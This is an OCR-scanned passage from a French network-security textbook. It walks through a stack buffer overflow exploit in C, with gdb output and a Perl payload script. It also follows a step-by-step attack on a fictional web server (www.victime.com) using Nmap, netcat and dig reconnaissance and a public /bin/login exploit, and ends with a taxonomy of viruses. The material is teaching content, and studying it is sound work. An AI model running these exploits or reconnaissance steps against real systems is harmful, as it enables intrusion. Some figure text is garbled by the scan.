fonction peut ecraser l'adresse de retour de cette fonction, permettant potentiellement a 
un utilisateur malveillant d'executer le code qu'il desire. 

Un processus a besoin de memoire pour stocker ses variables statiques et dynamiques 
ainsi que son code machine pendant qu'il s'execute. Cette memoire est toujours organi- 
see d'une fa^on specifique. La figure 2.10 illustre cette organisation pour un processeur 
Intel x86. 



Figure 2.10 

Organisation de la memoire 
avec un processeur Intel 
x86 



Haut de la memoire 
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Voici une liste non exhaustive de faiblesses de programmation susceptibles d'etre exploi- 
tees par un pirate : 

• Erreurs arithmetiques : elles se produisent lorsque les limitations d'une variable sont 
depassees. Ces erreurs generent des problemes d'execution importants (depassement 
de capacite positif, valeur trop grande pour le type de donnees, depassement de capa- 
city negatif, etc.). 

• Scripts intersites (cross-site scripting) : permettent aux pirates d'executer un script 
malveillant dans un navigateur Web client, d'inserer des balises <script>, <object>, 
<applet>, etc. mais aussi de voler des informations de session (cookies, 
authentification, etc.) ou encore permettent d'acceder a l'ordinateur client. 

• Injections SQL : permettent d'ajouter des instructions SQL a une entree utilisateur afin 
de tester les bases de donnees, contourner les autorisations, executer plusieurs instruc- 
tions SQL ou appeler des procedures stockees integrees. 
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• Problemes de canonisation : les diverses formes syntaxiques utilisees pour nommer un 
element, telles que noms de flchiers, d'URL, de peripheriques, etc., peuvent permettre 
a un pirate d' exploiter du code qui fonde ses actions sur des noms de flchiers, des 
URL, etc. 

• Faiblesses cryptographiques : concerne l'utilisation erronee des algorithmes soit en 
creant ses propres algorithmes, soit par une mauvaise utilisation d' algorithmes exis- 
tants. Cela touche aussi la securisation des cles en terme de stockage non securise, de 
duree d'utilisation trop longue, etc. 

• Problemes Unicode : les erreurs telles que celle consistant a considerer un caractere 
Unicode comme un octet unique, a calculer de fa^on erronee la taille de la memoire 
tampon, a utiliser de fa^on erronee des bibliotheques ou a valider les donnees avant la 
conversion et non apres peuvent entrainer des debordements de la memoire tampon et 
introduire des sequences de caracteres potentiellement dangereuses. 

Attaque par shellcode 

Le terme « shellcode » designe un programme qui s'appuie sur un debordement de 
tampon. II s'agit d'un programme en langage machine qui est execute a la place du 
programme normal, et done avec ses privileges. 

Parce qu'il est code en langage machine, un shellcode ne fonctionne qu'avec un type de 
processeur particulier. Plus precisement, chaque systeme d' exploitation utilisant des 
programmes differents, une attaque en debordement de pile ne fonctionne qu'avec une 
version precise du programme vulnerable, lui-meme ne fonctionnant que sur un systeme 
d' exploitation particulier. 

Attaque par debordement de tampon 

Les donnees d'entree sont stockees dans des variables. Si le programmeur qui a con^u le 
programme source a fixe une limite pour l'espace de stockage de la variable (allocation 
statique au lieu de dynamique), le fait de fournir une donnee d'entree qui excede la taille 
prevue provoque un debordement. 

La pile contient une information tres precieuse : l'adresse de la prochaine instruction a 
executer. L'art du debordement de tampon consiste en fait a remplir la zone de stockage 
des variables afin que le programme vulnerable lance un code programme injecte par 
l'intrus en lieu et place du code original ou que l'adresse de la prochaine execution soit 
modifiee pour lancer directement une fonction utile au pirate. C'est ce qu'illustre la 
figure 2.11. 
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Voici un exemple de programme ecrit en langage C contenant une erreur de programma- 
tion permettant de realiser une attaque de type buffer overflow : 

#in elude <stdio.h> 

void BufferOverflow(const char *input) { 
char buf[10]; 

printf ( "\npil e avant strcpy \n%p\n%p\n%p\n%p\n%p\n%p\n") ; 

strcpy(buf .input) ; 

printf ("\npile apres strcpy \n%p\n%p\n%p\n%p\n%p\n%p\n") ; 

} 

void cracker(void) { 

printf ("cracker a ete execute\n"); 

} 

int main(int argc, char **argv) 

{ 

printf ("1 'adresse de BufferOverflow est %p\n" .BufferOverflow) ; 

printf ("1 'adresse de cracker est %p\n" .cracker) ; 

BufferOverflow(argv[l]) ; 

return 0; 

} 

La faiblesse exploitee par le buffer overflow vient du fait que Ton copie des donnees dans 
un « buffer » sans controler leur taille. La ligne de programmation incriminee est 
strcpy ( buffer, str), qui peut etre exploitee par une telle attaque. 

Arm de mieux comprendre le probleme, nous allons passer notre programme au debo- 
gueur GNU. 

Commen^ons par compiler le programme avec l'option ggdb : 

cc -ggdb m.c 

Lan^ons maintenant le programme avec comme entree A. Nous obtenons le resultat 
suivant : 

bash$ ./a. out A 

l'adresse de BufferOverflow est 0x8048400 

l'adresse de cracker est 0x8048434 

pile avant strcpy 

0xbffffaa8 

0x401081cc 

0xbffffaa8 

0xbffffaa8 

0x804847d 

Oxbffffbeb 

pile apres strcpy 
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0xbfff0041 

0x401081cc 

0xbffffaa8 

0xbffffaa8 

0x804847d 

Oxbffffbeb 



L'objectif est de connaitre l'adresse de retour de la fonction Buf f erOverf 1 ow apres son 
execution. L'affichage de la pile nous indique que cette adresse est 0x804847d, comme 
nous le confirme le desassemblage du programme mai n : 



(gdb) disassemble mai 
Dump of assembler cod 
0x8048448 <main>: 
0x8048449 <main+l> 
0x804844b <main+3> 
0x8048450 <main+8> 
0x8048455 <main+13> 
0x804845a <main+18> 
0x804845d <main+21> 
0x8048462 <main+26> 
0x8048467 <main+31> 
0x804846c <main+36> 
0x804846f <main+39> 
0x8048472 <main+42> 
0x8048475 <main+45> 
0x8048477 <main+47> 
0x8048478 <main+48> 
0x804847d <main+53> 
/* adresse de 1 'instr 
0x8048480 <main+56> 
0x8048482 <main+58> 
0x8048484 <main+60> 
0x8048485 <main+61> 
End of assembler dump 



n 

e for function main: 

push %ebp 

mov %esp,%ebp 

push $0x8048400 

push $0x8048580 

call 0x8048330 <printf> 

add $0x8,%esp 

push $0x8048434 

push $0x80485a4 

call 0x8048330 <printf> 

add $0x8,%esp 

mov 0xc(%ebp) ,%eax 

add $0x4,%eax 

mov (%eax),%edx 

push %edx 

call 0x8048400 <Buffer0verflow> 

add $0x4,%esp 
uction suivante apres */ 

xor %eax,%eax 



/* BufferOverflow */ 



leave 
ret 



0x8048484 <main+60> 



L'idee est de lancer a present plusieurs fois le programme avec la chaine de caracteres A 
afln d'ecraser la pile jusqu'a l'adresse de l'instruction suivante qui sera chargee dans le 
registre EIR 

Apres plusieurs essais, voici la commande de la chaine de caracteres necessaire pour 
ecraser dans les prochains octets l'adresse de l'instruction suivante : 

(gdb) run AAAAAAAAAAAAAAAA 
Starting program: /routers/users/cedric/./a.out AAAAAAAAAAAAAAAA 
l'adresse de BufferOverflow est 0x8048400 
l'adresse de cracker est 0x8048434 

pile avant strcpy 
0xbffffa68 
0x401081cc 
0xbffffa68 
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0xbffffa68 

0x804847d 

Oxbffffbcl 

pile apres strcpy 

0x41414141 

0x41414141 

0x41414141 

0x41414141 

0x8048400 

Oxbffffbcl 

Cette derniere violation nous interesse particulierement, puisque l'attaque par buffer 
overflow permet de definir la prochaine instruction. A correspond a x41 en ASCII. Si nous 
parvenons a injecter 0x8048434, nous executerons une fonction qu'il n'etait pas prevu 
d'executer dans le programme initial. 

Pour y arriver, nous utilisons le petit programme PERL suivant : 

/* programme hack.pl */ 

/* preparation de 1 'input d'overflow que l'on desire injecter */ 

$arg = "AAAAAAAAAAAAAAAA" . "\x34\x84\x04\x8" ; 

/* execution de la commande */ 
$cmd = "./a. out ".$arg; 
system($cmd) ; 

Quand nous lan^ons ce programme, nous obtenons le resultat suivant : 

bash$ perl hack.pl 

l'adresse de BufferOverflow est 0x8048400 

l'adresse de cracker est 0x8048434 

pile avant strcpy 

0xbffffa98 

0x401081cc 

0xbffffa98 

0xbffffa98 

0x804847d 

0xbffffbd2 

pile apres strcpy 

0x41414141 

0x41414141 

0x41414141 

0x41414141 /* ecriture de l'adresse de la fonction cracker sur 

0x8048434 lequel pointe le registre EIP */ 

OxbffffbOO /* execution de la fonction cracker */ 

cracker a ete execute 

bash$ 
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Nous constatons que la pile a ete ecrasee avec le caractere A (apres le strcpy) jusqu'a 
modifier l'adresse de retour afin d'executer la fonction hacker (0x804847d versus 
0x8048434). 

L'attaque par debordement de tampon peut s'appliquer aussi bien a la pile {stack over- 
flow) qu'au tas {heap overflow ou heap buffer overflow). 

Attaques sur les fai blesses de conception 

La conception d'algorithme est une source potentielle de faiblesses susceptibles d'etre 
exploitees de fa^on directe (developpement de piles TCP/IP) ou indirecte {via des outils 
de generation de cles ou d'aleas). 

Obtenir un alea « vrai » consiste a utiliser une source d'alea physique telle qu'une amplifica- 
tion du bruit d'un composant actif ou un echantillonnage d'une horloge synchrone et d'un 
algorithme deterministe afin de lisser les biais residuels. II est tres facile d'introduire des 
trappes dans un generateur d'aleas en utilisant le principe dit de la reduction d'entropie 
couple a un algorithme de chiffrement dont 1' initialisation est connue de son seul concepteur. 

Sans entrer dans les details de cette technique, il faut retenir qu'on ne doit jamais faire 
confiance a un generateur d'aleas dont on ne maitrise pas les principes de conception. II 
est, par exemple, particulierement aise d'introduire des portes derobees dans un genera- 
teur de cles RSA selon le principe publie par Crepeau et Slakmon en 2002. 

Exploitation des faiblesses (vulnerabilites) 

Nous avons vu tout au long de ce chapitre que de multiples sources de faiblesses, ou 
vulnerabilites, etaient susceptibles d'etre exploitees par un pirate. 

II n'existe pas de fonction proprement dite permettant de decouvrir des vulnerabilites. Dans 
la plupart des cas, ces dernieres sont mises au jour empiriquement par des chercheurs, 
etudiants ou professeurs. Pour une raison quelconque, ils effectuent des tests sur un produit, 
analysent le code source et constatent la presence d'une faiblesse exploitable. Ils s'assurent 
en ce cas de leur diagnostic par la creation d'un PoC (Proof of Concept), ou « exploit », qui 
n'est autre qu'un programme qui, une fois lance, demontre l'existence de la faiblesse. 

Une vulnerabilite peut aussi etre revelee en utilisant un outil quelconque generant un 
comportement curieux sous certaines conditions. Par exemple, un deni de service a ete 
decouvert sur un produit de prise de session a distance sous Windows suite a un balayage 
de machines au cours duquel le client se connectait uniquement sur le port de validation, 
et non sur le port de session. 

Publication des vulnerabilites 

Une fois une vulnerabilite decouverte et confirmee, une bonne pratique consiste a avertir 
en premier lieu le constructeur du produit afin qu'il puisse mettre en ceuvre un correctif 
pour resoudre le probleme. 
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La vulnerability est ensuite annoncee le plus souvent dans des listes de diffusion specia- 
lises, telles que Bugtraq (aujourd'hui Security Focus), full-disclosure, ou NT Bugtraq. 
Elle fait alors l'objet d'un debat entre lecteurs ainsi que de tests effectues par des person- 
nes de bonne foi comme par des « script kiddies ». 

Les bases de donnees de vulnerability 

Afin de faciliter la recherche des vulnerabilites associees a un produit, des sites ont entre- 
pris d'interfacer ces listes de diffusion des vulnerabilites avec des serveurs de base de 
donnees tels que celui de SecurityFocus illustre a la figure 2.12. 

Fiqure2.12 — 

y Vulnerabilities (Page 1 of 472) 12 3 4567391011 Next > 

Page de recherche de " 

vulnerabilites chez Vendor: | Select Vendor ~3 

SecurityFocus Title: |SelectTitle jj 

Version: j Select Version T | 
Submit 




Apache Mod_SSL SSLVerifyClient Restriction Bypass Vulnerability 

2005-09-03 

http ://w w w .securityfocus .com/bid/ 147 2 1 

PCRE Regular Expression Heap Overflow Vulnerability 

2005-09-03 

http ://w ww .securityfocus .com/bid/14620 

Ces bases d' informations alimentent evidemment aussi les personnes malveillantes en 
« exploits » susceptibles d'etre utilises contre les systemes d'informatiques. 

Exemple d exploitation de vulnerabilites 

Maintenant que nous avons vu quelles etaient les possibilites offertes aux pirates pour 
nuire a un reseau ou a un systeme d' information, nous allons voir comment ces person- 
nes mal intentionnees peuvent les mettre a profit. 

Nous partirons de l'hypothese d'une situation classique dans laquelle une personne 
malveillante est situee sur Internet et desire attaquer un serveur HTTP pour le 
« defacer ». Provenant de 1' anglais defaced, ce terme designe une pratique de piratage 
visant a modifier un site Web pour en changer la page d'accueil, voire d'avantage, dans le 
but d'indiquer que le site est sous controle d'un pirate {owned by...) ou de faire passer un 
message politique ou une page pornographique. 

Le reseau hebergeant ce systeme peut etre schematise par 1' architecture illustree a la 
figure 2.13, laquelle est pour le moment ignoree du pirate. 

Nous nous appuyons dans cet exemple sur les hypotheses suivantes : 

• Le pare-feu Internet est un routeur filtrant (non stateful), qui autorise les flux depuis 
Internet vers un reverse proxy sur le port 80/TCP (HTTP). 
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Figure 2.13 
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• II autorise les flux depuis le reverse proxy vers tout port Internet 53/TCP et 53/UDP 
(DNS) afin que le reverse proxy puisse resoudre les noms pour ses statistiques. 

• Le serveur BackEnd est un serveur HTTP s'appuyant sur la technologie Microsoft IIS 
v5. II s'agit d'un systeme Windows non patche. 

• Le pare-feu d' entreprise accepte les flux depuis le reverse proxy vers le serveur 
BackEnd sur le port 80/TCP (HTTP) afin de recuperer 1' information qui est renvoyee 
au client Internet. 

• Le reverse proxy est un systeme Solaris 2.7 non patche qui s'appuie sur un serveur 
Apache 1.3.26. 

Balayage de ports 

L' experience du pirate est un facteur cle dans l'efficacite de son pouvoir de nuisance. 
Dans notre exemple, nous savons, tout comme le pirate, que les flux HTTP sont ouverts 
vers le reverse proxy. En revanche, le pirate pensera que ce reverse proxy constitue le 
veritable serveur HTTP, car il ignore qu'il s'agit d'une architecture a plusieurs couches 
(le client parle au reverse proxy, qui, de son cote, demande 1' information au serveur 
BackEnd). Le pirate se doute, sans certitude, que le reverse proxy est protege par un pare- 
feu. 

Le pirate peut done raisonnablement estimer que ce qu'il croit etre le serveur HTTP 
necessite de resoudre des noms vers Internet afin d'etablir des statistiques de connexion, 
par exemple. Partant de cette hypothese, il lance un balayage simple (connexion TCP) de 
ports, en utilisant le port 53/TCP comme port source. 

II s'appuie pour cela sur un outil tel que Nmap (disponible a l'adresse http://www.inse- 
cure.org), une reference dans le domaine du balayage de ports, lequel lui revele les infor- 
mations suivantes : 

Starting Nmap 3.93 ( http://www.insecure.org/Nmap/ ) at 2005-09-11 11:08 CEST 
Insufficient responses for TCP sequencing (3), OS detection may be less accurate 
Interesting ports on www.victime.com (Adresse_Reverse_Proxy) : 
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(The 1647 ports scanned but not shown below are in state: closed) 

PORT STATE SERVICE 

23/tcp open telnet 

53/tcp open domain 

80/tcp open http 

Device type: general purpose 

Running: Sun Solaris 2.7 

OS details: Sun Solaris 2.7 

Nmap run completed -- 1 IP address (1 host up) scanned in 170.282 seconds 

Cette analyse permet au pirate de savoir qu'il est possible d'atteindre les ports TCP des 
services Telnet, DNS et HTTP. 

Analyse du systeme 

Afm de confirmer que ces services reseau se trouvent bien derriere ces numeros de ports, 
le pirate tente d'identifler les bannieres en interrogeant a partir du port 53/TCP. L'outil 
Netcat (disponible a l'adresse http://netcat.sourceforge.net) lui permet d'effectuer des 
connexions TCP en modiflant le port source. 

Le serveur HTTP est teste en premier : 

# nc -p 53 www.victime.com 80 
HEAD / HTTP/1.0 

HTTP/1.1 200 OK 

Date: Sun, 11 Sep 2005 09:42:41 GMT 

Server: Apache/1.3.26 (Unix) 

Connection: close 

Content-Type: text/html 

Le pirate passe au serveur Telnet, qui confirme l'empreinte du systeme d' exploitation : 

# nc -p 53 www.victime.com 23 

Solaris 2.7 (spare) 

login: 

Enfin, la commande dig lui permet d'obtenir la version du serveur DNS, toujours en 
modiflant le port source : 

# dig -b 0.0.0.0:53 +vc @www. victime.com version. bind chaos txt 

; <<>> DiG 8.3 «» -b +vc ©www.victime.com version. bind chaos txt 

; (1 server found) 

[snip] 

;; ANSWER SECTION: 

VERSION. BIND. OS CHAOS TXT "4.9.3-REL" 

;; Total query time: 2 msec 
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FROM: local host to SERVER: www.victime.com 
WHEN: Mon Sep 12 19:28:53 2005 
MSG SIZE sent: 30 rcvd: 64 

Si cette analyse n'est pas un modele de discretion (balayage par connexion TCP), elle a 
le merite de fournir tres rapidement des informations capitales au pirate. 

Celui-ci sait desormais que le systeme vise presente les caracteristiques suivantes : 

• II offre un service Telnet pour sa maintenance. 

• Le systeme d' exploitation est un Solaris 2.7 sur plate-forme Sparc. 

• II offre un service DNS v4.9.3 pour resoudre les noms. 

• II offre un service HTTP tournant sur Apache 1.3.26. 

Penetration du systeme 

Fort de ces informations, il peut determiner les faiblesses et vulnerabilites qui lui permet- 
tront de penetrer les serveurs reseau. 

Dans le but de disposer d'une base de donnees visant a permettre aux administrateurs de 
savoir si les systemes dont ils ont la responsabilite sont vulnerables a des attaques, de 
multiples entreprises ou organisations offrent l'acces a ces bases, permettant ainsi egale- 
ment aux personnes mal intentionnees de trouver les renseignements qui leur permettent 
de mener leurs attaques. 

Parmi ces fournisseurs, MITRE et Bugtraq sont bien connus. 

MITRE 

A l'epoque des premieres annonces de vulnerabilites, on ne disposait d'aucune typologie 
les concernant. L'annonce revelait une faille, ainsi que la maniere de 1' exploiter et les 
consequences de cette exploitation. Le nombre d' annonces ne cessant d'augmenter, il est 
vite devenu imperatif de mettre de l'ordre dans ce chaos. 

MITRE (http://www.mitre.org), une entite chargee de recherche et developpement qui 
travaille pour le compte du gouvernement americain, a propose une categorisation visant 
a organiser toutes ces vulnerabilites. En toute logique, elle s'est egalement proposee 
d'heberger une base de donnees recensant l'ensemble des vulnerabilites connues, mise a 
jour regulierement. 

Ces informations etant accessibles au public, elles le sont aussi a notre pirate. Celui-ci 
tente done de trouver 1' information qui lui sera utile en utilisant l'interface de recherche 
de MITRE (http://www.cve.mitre.org/cve/) illustree a la figure 2.14. 

Le mot-cle « Solaris 2.7 » produit le resultat suivant : 

Search Results 

There are 8 CVE entries or candidates that match your search. 

CVE version: 20040901 
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Figure 2.14 
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Name Description 

CVE-1999-0773 Buffer overflow in Solaris lpset program allows local users 

to gain root access. 
CVE-1999-0973 Buffer overflow in Solaris snoop program allows remote attackers 

to gain root privileges via a long domain name when snoop is running 

in verbose mode. 
CVE-1999-1014 Buffer overflow in mail command in Solaris 2.7 and 2.7 allows 

local users to gain privileges via a long -m argument. 
CVE-2000-0030 Solaris dmispd dmi_cmd allows local users to fill up restricted 

disk space by adding files to the /var/dmi/db database. 
CVE-2000-0032 Solaris dmi_cmd allows local users to crash the dmispd daemon 

by adding a malformed file to the /var/dmi/db database. 
CVE-2001-0095 catman in Solaris 2.7 and 2.8 allows local users to overwrite 

arbitrary files via a symlink attack on the sman_PID temporary file. 
CAN-1999-0952 Buffer overflow in Solaris Ipstat via class argument allows 

local users to gain root access. 
CAN-2000-0317 Buffer overflow in Solaris 7 lpset allows local users to gain root 

privileges via a long -r option. 

Ces reponses sont inutilisables, car elles necessitent toutes de disposer d'un acces au 
sy steme en tant qu'utilisateur, ce dont ne dispose pas encore notre pirate. II doit done 
utiliser une autre source d' information. 

Bugtraq (devenu SecurityFocus) 

En 1996, Elias Levy, aussi connu sous le nom de Aleph One, a publie dans le 
numero 49 du magazine Phrack un article intitule "Smashing The Stack For Fun and 




Tableaux de bord de la securite reseau 



Profit". Premier du genre consacre au debordement de tampon, cet article a connu un 
franc succes et incite son auteur a creer une liste de diffusion baptisee Bugtraq. Cette 
liste a rapidement fait de nombreux emules, car elle permettait a quiconque de reveler 
l'existence de vulnerabilites pour n'importe quel produit, sans risque de voir l'infor- 
mation censuree. 

En 2001, Elias Levy a cesse de gerer cette liste, devenue trop prenante, et elle a ete 
reprise par la societe SecurityFocus, qui a cree une interface permettant de rechercher 
dans les quelques 14 000 vulnerabilites qu'elle contenait a ce jour. 

Comme l'illustre la figure 2.15, la recherche dans SecurityFocus necessite de fournir le 
nom du vendeur (Sun), le titre (Solaris) et enfln la version. 



Figure 2.15 
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II faut mettre 7.0 comme version et non 2.7, car SecurityFocus semble ignorer qu'il s'agit 
d'une seule et meme version. 

Parmi les quelques deux cents reponses fournies, notre pirate constate qu'il existe une 
vulnerabilite associee au serveur Telnet qui lui est accessible, ainsi qu'a un Solaris 2.7 
(ou 7.0), comme l'illustre la figure 2.16. 



Figure 2.16 
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loqin" is a pnoqrarn used in Unin systems to authenticate users with a uscmamc 
and password. The utility is typically invoked at the console, by telnetd, rlogind 
and if configured to do so. GGI I. 

VKrsinns nf 'linjiri 1 tlHHiiHriilmJ IV urn FiynlHrn V Unix i:iiritriin h huffHr uvHrfluw in 
handling of environment variables. Several operating systems such as 
Filili-inH/FiuriOS, HP-UX, Ml*;, !RIX nniJ UnixwnrH i :i ml ,-cin vulriHrnhlH VHrsiuriH nf 
'login'. 

it is roportodly possible for unauthonticatad clients to Exploit theso conditions to 
GKCcutc arbitrary code as root. On systems where 'loqin' is installed setuid root, 
this vulnerability can bo exploited by local attackers to cUcvatc pnvilcqos. 
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U attaque 

II ne lui reste plus qu'a cliquer sur l'onglet Exploit pour trouver la « preuve du concept », 
autrement dit le programme tout pret (script kiddie) qu'il lui sufflra de lancer contre le 
systeme attaque. 

II doit pour cela modifier le script, car le Telnet simple ne passe pas, ainsi que preciser le 
nom du systeme a attaquer : 

# login.pl ©victime.domaine 

/bin/login array mismanagment exploit by snooq ( jinyean\@hotmail .com) 
Connected. Wait for a shell.... 




Malheureusement pour le pirate, son attaque ne lui permet pas d'obtenir directement 
1'acces a un interprete de commande avec le privilege de l'utilisateur root (administra- 
teur), puisqu'il ne dispose que du privilege bin. II doit done retravailler sa copie pour 
devenir maitre du systeme. 

La technique permettant de passer du statut de simple utilisateur a celui d'utilisateur 
disposant de plus de privileges s'appelle « l'escalade de privileges ». Elle repose sur des 
vulnerabilites generalement internes au systeme d' exploitation. 

La methode pour connaitre de telles vulnerabilites est la meme que dans le cas des vulne- 
rabilites reseau : il sufflt de rechercher dans une base de donnees de vulnerabilites. 

Le pirate peut des lors s' attaquer au serveur BackEnd, ainsi qu'a tous les autres systemes 
presents dans la DMZ. Si, par malheur, le serveur BackEnd n'est pas sufflsamment secu- 
rise, le pirate peut s'immiscer au sein meme du reseau de l'entreprise, avec un pouvoir de 
nuisance devastateur. 



En resume 



Les techniques d' attaques des systemes reseau sont nombreuses et variees. La publica- 
tion de programmes permettant d' exploiter les vulnerabilites des systemes ne renforce 
evidemment pas la securite de ces systemes et met gratuitement a la disposition des pira- 
tes des outils redoutables. 

La penetration de tels systemes peut mettre en peril la securite de 1' ensemble du reseau et 
de ses services. Si les serveurs DNS d'un operateur de telecommunications venaient a 
etre indisponibles, par exemple, le reseau entier et ses services pourraient s'en trouver 
paralyses. 

Le chapitre 3 decrit les autres formes d' attaques susceptibles d'impacter indirectement 
un reseau. 
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Beaucoup d' attaques peuvent impacter le reseau de maniere directe ou indirecte. Les 
chapitre 1 et 2 ont detaille les attaques reseau proprement dites. Le present chapitre traite 
des autres types d' attaques susceptibles d' impacter le reseau de maniere indirecte en 
provoquant des phenomenes de saturation ou de congestion du reseau. Ces autres formes 
d'attaques reseau s'appuient principalement sur les faiblesses des applications. 

Les virus sont les vecteurs des attaques les plus frequentes contre les systemes et reseaux 
informatiques. De par leur mode de reproduction, ils sont capables de saturer le reseau et 
de le placer en deni de service, ce qui impacte en premier lieu le reseau local. Par replica- 
tion de ce type de programme, des attaques par deni de service distribue peuvent en outre 
etre lancees. Enfin, le phenomene de replication des virus peut impacter le reseau 
d'entreprise lui-meme, comme on l'a constate avec le virus SQL Hammer. 

Un autre impact sur le reseau a pour origine les attaques par les relais, qui impactent la 
disponibilite non pas du reseau mais des services reseau, ce qui revient, de maniere indi- 
recte, a rendre le reseau indisponible. 

Nous detaillons dans ce chapitre les attaques par virus informatiques ainsi que les atta- 
ques par relais. 

Attaques par virus 

On peut qualifier de virus tout programme, sous quelque forme que ce soit, capable de se 
reproduire par lui-meme. 

Les virus ont pour caracteristique commune une volonte de nuire. Cette volonte peut 
prendre la forme d'une routine, ou programme, qui, une fois activee, use de tous les 
moyens a sa disposition pour empoisonner la vie de l'utilisateur. 
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Les principaux impacts reseau recherches par les virus sont les suivants : 

• perturber 1' utilisation de la machine en faisant apparaitre, par exemple, des images a 
l'ecran ou en modifiant constamment le design de l'interface graphique ; 

• consommer inutilement toutes les res sources memoire et de calcul de la machine ; 

• se reproduire autant que possible sur le disque dur de l'utilisateur, consommant le 
processeur et l'espace disque de celui-ci ; 

• se reproduire sur les disques durs des autres utilisateurs par l'intermediaire du partage 
de fichiers en reseau ; 

• se reproduire en s'envoyant dans des courriers electroniques emis au nom de l'utilisa- 
teur attaque aux contacts presents dans son carnet d'adresses. 

S'il ne s'agissait que de telles nuisances, les virus ne seraient qu'un mal benin. Malheu- 
reusement, des virus aux effets beaucoup plus devastateurs ont fait leur apparition, 
notamment les suivants : 

• Attaques des cartes meres des ordinateurs et flash de leur BIOS. L'ordinateur devient 
inutilisable et doit repartir chez le constructeur. 

• Effacement des donnees, soit en pla^ant en sequence des octets aleatoires sur le disque, 
soit en effa^ant des fichiers au hasard, d'une maniere plus ou moins rapide. Dans 
certains cas, il n'est pas possible de recuperer les donnees perdues. 

• Reproduction des virus a une cadence folle via le reseau, saturant celui-ci, malgre les 
technologies au gigabit par seconde. Les virus attaquent des serveurs reseau, s'instal- 
lent sur ceux-ci et les utilisent pour se reproduire. Le nombre de sources de propaga- 
tion augmente de fa^on exponentielle, saturant non seulement les reseaux locaux mais 
egalement les reseaux WAN d'entreprise et meme Internet. 

• Installation des virus sur les machines afin de permettre a leurs auteurs d'en prendre le 
controle (chevaux de Troie). Dans certains cas, le virus previent son auteur par e-mail, 
message ICMP, etc., afin que celui-ci sache ou se trouvent les machines infectees. 

Les virus ont done un degre de nuisance variable. Quel que soit ce dernier, ils doivent etre 
eradiques, car ils font peser une menace constante sur les systemes informatiques. 

Cycle de vie d'un virus informatique 

Les virus informatiques, tout comme les virus biologiques, se caracterisent par un cycle 
de vie, qui s'etend de leur creation a leur destruction, en passant par leur reproduction, 
leur activation et leur decouverte. 

Creation 

La creation d'un virus designe le temps que passe un programmeur a construire son virus 
afin qu'il soit le plus efficace possible. 
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En regie generale, la programmation se fait en assembleur arm d'optimiser la taille du 
virus, qui doit demeurer la plus petite possible a des fins de discretion. 

Certains programmes mettent a la portee de n'importe qui la creation de virus informati- 
ques. Appeles virii generator, ces programmes produisent des assemblages de virus ayant 
deja fait leurs preuves. 

Nimda et CodeRed ont ete crees via de tels programmes. 
Reproduction 

Par nature, les virus cherchent a se reproduire. Un virus correctement con^u se repro- 
duit un grand nombre de fois avant de s'activer. C'est la le meilleur moyen de s'assurer 
de sa perennite. 

La reproduction est le procede par lequel le virus est copie en un endroit strategique afin 
que sa diffusion soit la plus rapide et la plus vaste possible. 

L'ancienne methode consistant a infecter un programme tres populaire puis a le distri- 
buer cede la place a des virus envoyes par courrier electronique — en utilisant les auto- 
matismes telle que l'API de messagerie de Microsoft MAPI (Messaging Application 
Programming Interface), par exemple — profitant des facilites et insecurites offertes par 
les programmes destines a communiquer. 

Les outils peer-to-peer de partage de fichiers tels que eMule, tout comme ceux destines 
au « chat » (ICQ, MSN, etc.) ou a la telephonie (Skype, Internet Phone, etc.), sont egale- 
ment devenus un vecteur privilegie de propagation de virus. 

Les virus peuvent aussi mettre a profit des failles de securite reseau et des configurations 
laxistes, telles que le partage de peripherique disque sur le reseau ou de produits comme 
Microsoft Windows, pour se deposer sur les disques et se lancer a l'insu des utilisateurs, 
connectes a Internet par ADSL, par exemple. 

Activation 

Les virus disposant d'une capacite destructive ne s'activent generalement que lorsque 
certaines conditions sont reunies. 

Certains ne s'activent qu'a compter de dates predefinies, tandis que d'autres possedent 
un systeme de compte a rebours interne. D'autres encore detectent des situations particu- 
lieres, telles que relation reseau, presence d'un logiciel particulier ou d'une configuration 
speciale, etc. 

Actuellement, la plupart des virus qui recherchent une visibilite maximale par souci de 
notoriete s'activent des leur installation et tentent le plus rapidement possible de se repro- 
duire en grand nombre. Leur objectif est de saturer les equipes ou les outils charges de les 
nettoyer, ce qui peut etre aussi efficace qu'un virus lent reste non detecte pendant une 
longue periode. 
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Decouverte 

La decouverte d'un virus est la phase ou 1' existence du virus est detectee et ou celui-ci 
est isole. 

Cette phase apparait generalement apres 1' activation du virus, mais il arrive que cela se 
produise avant. Une machine equipee d'un logiciel de detection d' intrusion capable de 
signer tous les fichiers peut, par exemple, etre avertie avant l'activation d'un virus du 
changement de taille d'un fichier executable. 

Une fois le virus isole, il peut etre transmis aux autorites competentes, notamment la 
NCSA (National Computer Security Association), a Washington, et le CERT (Computer 
Emergency Response Team), a l'Universite de Carnegie Mellon. 

Le virus est alors analyse, documente et distribue aux developpeurs de logiciels antivirus. 
Ces derniers ajoutent sa signature a leur base de donnees et developpent des contre-mesures. 

Destruction 

La phase de destruction des virus peut etre consideree comme utopique. Pour pouvoir consi- 
derer un virus comme detruit, il faudrait s'assurer qu'il n'en existe plus aucune souche sur la 
planete. Outre l'exemplaire probablement conserve par l'auteur du virus, il est evidemment 
impossible d'affirmer que 100 p. 100 des ordinateurs ne sont plus infectes par ce virus. 

On considere generalement que cette phase est atteinte lorsque le virus cesse de faire 
peser une menace reelle. 

Typologie des virus 

II existe differents types de virus, dont le comportement, la mise en place ou la capacite 
d'etre detectes sont extremement variables. 

Les sections qui suivent detaillent les virus les plus importants, a savoir : 

virus de secteur d'amor^age ; 

virus a infection de fichiers (parasites) ; 

virus non residents memoire ; 

virus residents memoire ; 

virus multiformes ; 

virus furtifs ; 

virus polymorphes (mutants) ; 

virus reseau et vers (worms) ; 

virus flibustiers (bounty hunters) ; 

bombes logiques ; 

chevaux de Troie. 
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Les virus de secteur d'amorgage 

Ces virus ont pour principe de se placer sur le secteur du disque dur. Ce secteur etant 
lance par l'ordinateur au demarrage pour initialiser le systeme d' exploitation, c'est 
evidemment un emplacement privilegie. 

Du fait qu'il se lance avant le systeme d' exploitation, le virus dispose de possibilites supple- 
mentaires pour empecher sa detection. II peut, par exemple, detourner des interruptions 
pour rester invisible d'un antivirus mais egalement se doter de facilites de reproduction. 

En regie generale, le contenu par defaut du secteur est copie dans un autre secteur, et le 
virus s'installe sur le secteur pour etre lance. Par la suite, il charge lui-meme le contenu 
precedent du secteur 0. 

II faut habituellement eteindre physiquement la machine (coupure de tension) pour que 
ces virus cessent d'etre une menace. Bien sur, le logiciel antivirus doit etre lance sans 
passer par la phase standard de demarrage du disque dur, via une disquette par exemple, 
faut de quoi le virus se recharge. 

Les virus a infection de fichiers (parasites) 

Les virus parasites ont pour methode de se placer au sein de programmes executables sur 
